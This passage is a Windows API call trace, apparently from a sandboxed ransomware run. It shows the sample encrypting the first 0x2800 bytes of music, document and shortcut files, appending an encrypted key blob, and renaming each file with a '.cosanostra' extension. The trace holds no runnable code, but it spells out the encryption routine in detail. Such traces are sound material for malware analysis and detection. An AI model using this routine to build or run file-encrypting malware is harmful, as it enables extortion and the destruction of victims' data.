(lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\Jr7GmyHaEoYHTbjs\\vWyQWkq6q.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\jr7gmyhaeoyhtbjs\\vwyqwkq6q.mp3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\Jr7GmyHaEoYHTbjs\\vWyQWkq6q.mp3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\jr7gmyhaeoyhtbjs\\vwyqwkq6q.mp3.cosanostra")) returned 1 [0097.668] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf040 | out: pbBuffer=0x2abf040) returned 1 [0097.668] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf038*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf038*=0x30) returned 1 [0097.668] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\Jr7GmyHaEoYHTbjs\\GWkUnEpXmpgK1-Swupd7.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\jr7gmyhaeoyhtbjs\\gwkunepxmpgk1-swupd7.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.668] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\Jr7GmyHaEoYHTbjs\\GWkUnEpXmpgK1-Swupd7.mp3") returned 112 [0097.668] StrStrW (lpFirst="GWkUnEpXmpgK1-Swupd7.mp3", lpSrch=".txt") returned 0x0 [0097.669] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.669] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abeffc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abeffc*=0x2800, lpOverlapped=0x0) returned 1 [0097.670] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.670] WriteFile (in: hFile=0x138, lpBuffer=0x2abf03c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abeffc, lpOverlapped=0x0 | out: lpBuffer=0x2abf03c*, lpNumberOfBytesWritten=0x2abeffc*=0x4, lpOverlapped=0x0) returned 1 [0097.670] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abeffc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abeffc*=0x30, lpOverlapped=0x0) returned 1 [0097.670] CloseHandle (hObject=0x138) returned 1 [0097.670] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\Jr7GmyHaEoYHTbjs\\GWkUnEpXmpgK1-Swupd7.mp3.cosanostra") returned 123 [0097.670] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\Jr7GmyHaEoYHTbjs\\GWkUnEpXmpgK1-Swupd7.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\jr7gmyhaeoyhtbjs\\gwkunepxmpgk1-swupd7.mp3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\Jr7GmyHaEoYHTbjs\\GWkUnEpXmpgK1-Swupd7.mp3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\jr7gmyhaeoyhtbjs\\gwkunepxmpgk1-swupd7.mp3.cosanostra")) returned 1 [0097.673] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf040 | out: pbBuffer=0x2abf040) returned 1 [0097.673] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf038*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf038*=0x30) returned 1 [0097.673] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\Jr7GmyHaEoYHTbjs\\2NwZX5fzRV.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\jr7gmyhaeoyhtbjs\\2nwzx5fzrv.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.673] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\Jr7GmyHaEoYHTbjs\\2NwZX5fzRV.m4a") returned 102 [0097.674] StrStrW (lpFirst="2NwZX5fzRV.m4a", lpSrch=".txt") returned 0x0 [0097.674] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.674] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abeffc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abeffc*=0x2800, lpOverlapped=0x0) returned 1 [0097.675] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.675] WriteFile (in: hFile=0x138, lpBuffer=0x2abf03c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abeffc, lpOverlapped=0x0 | out: lpBuffer=0x2abf03c*, lpNumberOfBytesWritten=0x2abeffc*=0x4, lpOverlapped=0x0) returned 1 [0097.675] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abeffc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abeffc*=0x30, lpOverlapped=0x0) returned 1 [0097.675] CloseHandle (hObject=0x138) returned 1 [0097.675] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\Jr7GmyHaEoYHTbjs\\2NwZX5fzRV.m4a.cosanostra") returned 113 [0097.675] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\Jr7GmyHaEoYHTbjs\\2NwZX5fzRV.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\jr7gmyhaeoyhtbjs\\2nwzx5fzrv.m4a"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\Jr7GmyHaEoYHTbjs\\2NwZX5fzRV.m4a.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\jr7gmyhaeoyhtbjs\\2nwzx5fzrv.m4a.cosanostra")) returned 1 [0097.676] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf038 | out: pbBuffer=0x2abf038) returned 1 [0097.676] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf030*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf030*=0x30) returned 1 [0097.676] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\9JpRM.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\9jprm.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.677] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\9JpRM.mp3") returned 80 [0097.677] StrStrW (lpFirst="9JpRM.mp3", lpSrch=".txt") returned 0x0 [0097.678] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.678] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abeff4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abeff4*=0x2800, lpOverlapped=0x0) returned 1 [0097.678] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.678] WriteFile (in: hFile=0x138, lpBuffer=0x2abf034*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abeff4, lpOverlapped=0x0 | out: lpBuffer=0x2abf034*, lpNumberOfBytesWritten=0x2abeff4*=0x4, lpOverlapped=0x0) returned 1 [0097.678] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abeff4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abeff4*=0x30, lpOverlapped=0x0) returned 1 [0097.678] CloseHandle (hObject=0x138) returned 1 [0097.678] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\9JpRM.mp3.cosanostra") returned 91 [0097.678] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\9JpRM.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\9jprm.mp3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\9JpRM.mp3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\9jprm.mp3.cosanostra")) returned 1 [0097.684] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf030 | out: pbBuffer=0x2abf030) returned 1 [0097.684] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf028*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf028*=0x30) returned 1 [0097.685] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\za6NSNXg.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\za6nsnxg.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.685] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\za6NSNXg.m4a") returned 100 [0097.685] StrStrW (lpFirst="za6NSNXg.m4a", lpSrch=".txt") returned 0x0 [0097.686] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.686] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abefec, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abefec*=0x2800, lpOverlapped=0x0) returned 1 [0097.686] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.686] WriteFile (in: hFile=0x138, lpBuffer=0x2abf02c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abefec, lpOverlapped=0x0 | out: lpBuffer=0x2abf02c*, lpNumberOfBytesWritten=0x2abefec*=0x4, lpOverlapped=0x0) returned 1 [0097.686] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abefec, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abefec*=0x30, lpOverlapped=0x0) returned 1 [0097.687] CloseHandle (hObject=0x138) returned 1 [0097.793] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\za6NSNXg.m4a.cosanostra") returned 111 [0097.793] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\za6NSNXg.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\za6nsnxg.m4a"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Z2sLZ-CavOGA6C1q3\\ojHOR84M6oPY\\7C20RN4oKduWzZ3r\\za6NSNXg.m4a.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\z2slz-cavoga6c1q3\\ojhor84m6opy\\7c20rn4okduwzz3r\\za6nsnxg.m4a.cosanostra")) returned 1 [0097.800] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf030 | out: pbBuffer=0x2abf030) returned 1 [0097.800] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf028*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf028*=0x30) returned 1 [0097.800] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.905] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk") returned 51 [0097.905] StrStrW (lpFirst="Desktop.lnk", lpSrch=".txt") returned 0x0 [0097.905] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffe1a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.905] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x1e6, lpNumberOfBytesWritten=0x2abefec, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abefec*=0x1e6, lpOverlapped=0x0) returned 1 [0097.906] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.906] WriteFile (in: hFile=0x138, lpBuffer=0x2abf02c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abefec, lpOverlapped=0x0 | out: lpBuffer=0x2abf02c*, lpNumberOfBytesWritten=0x2abefec*=0x4, lpOverlapped=0x0) returned 1 [0097.906] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abefec, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abefec*=0x30, lpOverlapped=0x0) returned 1 [0097.906] CloseHandle (hObject=0x138) returned 1 [0097.906] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk.cosanostra") returned 62 [0097.906] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.lnk"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.lnk.cosanostra")) returned 1 [0097.907] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf028 | out: pbBuffer=0x2abf028) returned 1 [0097.907] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf020*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf020*=0x30) returned 1 [0097.907] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\6 VcQzZ2DY2.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\6 vcqzz2dy2.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.907] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\6 VcQzZ2DY2.ods") returned 79 [0097.907] StrStrW (lpFirst="6 VcQzZ2DY2.ods", lpSrch=".txt") returned 0x0 [0097.908] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.908] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abefe4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abefe4*=0x2800, lpOverlapped=0x0) returned 1 [0097.908] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.908] WriteFile (in: hFile=0x138, lpBuffer=0x2abf024*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abefe4, lpOverlapped=0x0 | out: lpBuffer=0x2abf024*, lpNumberOfBytesWritten=0x2abefe4*=0x4, lpOverlapped=0x0) returned 1 [0097.908] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abefe4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abefe4*=0x30, lpOverlapped=0x0) returned 1 [0097.908] CloseHandle (hObject=0x138) returned 1 [0097.909] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\6 VcQzZ2DY2.ods.cosanostra") returned 90 [0097.909] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\6 VcQzZ2DY2.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\6 vcqzz2dy2.ods"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\fBSkwA_\\6 VcQzZ2DY2.ods.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\fbskwa_\\6 vcqzz2dy2.ods.cosanostra")) returned 1 [0097.910] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf028 | out: pbBuffer=0x2abf028) returned 1 [0097.910] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf020*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf020*=0x30) returned 1 [0097.910] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\AGI9kEsqyo470.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\agi9kesqyo470.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.910] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\AGI9kEsqyo470.pptx") returned 74 [0097.910] StrStrW (lpFirst="AGI9kEsqyo470.pptx", lpSrch=".txt") returned 0x0 [0097.911] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.911] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abefe4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abefe4*=0x2800, lpOverlapped=0x0) returned 1 [0097.911] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.911] WriteFile (in: hFile=0x138, lpBuffer=0x2abf024*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abefe4, lpOverlapped=0x0 | out: lpBuffer=0x2abf024*, lpNumberOfBytesWritten=0x2abefe4*=0x4, lpOverlapped=0x0) returned 1 [0097.911] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abefe4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abefe4*=0x30, lpOverlapped=0x0) returned 1 [0097.912] CloseHandle (hObject=0x138) returned 1 [0097.912] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\AGI9kEsqyo470.pptx.cosanostra") returned 85 [0097.912] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\AGI9kEsqyo470.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\agi9kesqyo470.pptx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\AGI9kEsqyo470.pptx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\agi9kesqyo470.pptx.cosanostra")) returned 1 [0097.913] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf020 | out: pbBuffer=0x2abf020) returned 1 [0097.913] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abf018*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abf018*=0x30) returned 1 [0097.913] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\8V8OT.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\8v8ot.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.913] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\8V8OT.csv") returned 65 [0097.913] StrStrW (lpFirst="8V8OT.csv", lpSrch=".txt") returned 0x0 [0097.914] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.914] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abefdc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abefdc*=0x2800, lpOverlapped=0x0) returned 1 [0097.914] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.914] WriteFile (in: hFile=0x138, lpBuffer=0x2abf01c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abefdc, lpOverlapped=0x0 | out: lpBuffer=0x2abf01c*, lpNumberOfBytesWritten=0x2abefdc*=0x4, lpOverlapped=0x0) returned 1 [0097.914] WriteFile (in: hFile=0x138, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abefdc, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abefdc*=0x30, lpOverlapped=0x0) returned 1 [0097.914] CloseHandle (hObject=0x138) returned 1 [0097.914] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\8V8OT.csv.cosanostra") returned 76 [0097.915] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\8V8OT.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\8v8ot.csv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pFxiYUV_inv\\8V8OT.csv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pfxiyuv_inv\\8v8ot.csv.cosanostra")) returned 1 [0097.917] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf018 | out: pbBuffer=0x2abf018) returned 1 [0097.917] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, 